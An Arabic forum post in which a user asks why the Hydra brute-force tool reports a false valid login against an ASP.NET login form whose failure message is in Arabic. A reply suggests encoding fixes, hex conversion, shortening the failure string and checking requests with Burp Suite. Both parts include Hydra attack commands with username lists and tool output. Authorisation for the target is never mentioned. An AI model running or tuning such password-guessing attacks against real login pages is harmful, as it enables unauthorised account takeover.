-
السلام عليك عندي مشكله لما استخدم أداة Hydra لاختبار تسجيل الدخول عن طريق هجوم القوة الغاشمة على نموذج تسجيل دخول عند التنفيذ لا تظهر اخطاء تعمل الاداه لكنها البيانات خطائه للعم رساله الخطاء تظهربلعربي الامر sudo hydra -L username.txt -p 123456 -f ip https-post-form “/srs:ctl00\$MainContent\$SR\$UserLogin\$UserName=^USER^&ctl00\$MainContent\$SR\$UserLogin\$Password=^PASS^:F=خطأ في عملية تسجيل الدخول. الرجاء التأكد من بياناتك وإعادة المحاولة”
[sudo] password for kali:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak – Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-21 20:14:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000000 login tries (l:10000000/p:1), ~625000 tries per task
[DATA] attacking http-post-forms://ip:443/srs:ctl00$MainContent$SR$UserLogin$UserName=^USER^&ctl00$MainContent$SR$UserLogin$Password=^PASS^:F=خطأ في عملية تسجيل الدخول. الرجاء التأكد من بياناتك وإعادة المحاولة
[443][http-post-form] host: ip login: 0000000 password: 123456
[STATUS] attack finished for ip (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-21 20:14:37
[email protected], MAJID SAIFALDAWLA ABDELMAHMOUD ELSHIKH و 2 آخرون1 تعليق-
هلا مهندس
باختصار المشكلة إن أداة Hydra مش بتتعامل كويس مع النصوص بالعربي زي رسالة الخطأ اللي بتظهر لما البيانات بتكون غلط. علشان كده الحلول دي ممكن تساعدك:
التأكد من ترميز النص: لازم تتأكد إن رسالة الخطأ اللي بتبحث عنها مكتوبة بنفس الترميز اللي بيستخدمه الموقع (غالبًا UTF-8). ممكن تستخدم أداة زي iconv لتحويل الرسالة لـ UTF-8.
مثال للتحويل:
bash
echo “خطأ في عملية تسجيل الدخول. الرجاء التأكد من بياناتك وإعادة المحاولة” | iconv -f utf-8
تحويل الرسالة لـ Hex: أحيانًا Hydra بتتعامل بشكل أحسن مع الرسائل اللي بتحولها لـ Hex (يعني أرقام بدل الكلام). ممكن تستخدم xxd لتحويل الرسالة لـ Hex:
bash
echo -n “خطأ في عملية تسجيل الدخول. الرجاء التأكد من بياناتك وإعادة المحاولة” | xxd -p
بعد كده تاخد القيمة دي وتحطها في الأمر بتاعك.
كمان ممكن يكون الرسالة طويلة وده عامل مشكلة، فجرب تستخدم جزء من الرسالة زي كلمة “خطأ” أو “الرجاء” بدل ما تحط الرسالة كلها.
مثال:
bash
sudo hydra -L username.txt -p 123456 -f ip https-post-form “/srs:ctl00\$MainContent\$SR\$UserLogin\$UserName=^USER^&ctl00\$MainContent\$SR\$UserLogin\$Password=^PASS^:F=خطأ”
كمان ممكن تكون الطريقة اللي بتكتب بيها الطلب فيها اختلاف عن اللي الموقع بيستخدمه. جرب تستخدم أدوات زي Burp Suite علشان تتأكد إن الطلب اللي Hydra بيبعتة زي اللي بيبعتة المتصفح بالظبط.جرب الحاجات دي وقولي لو فيه حاجة لسه مش واضحة
1
-
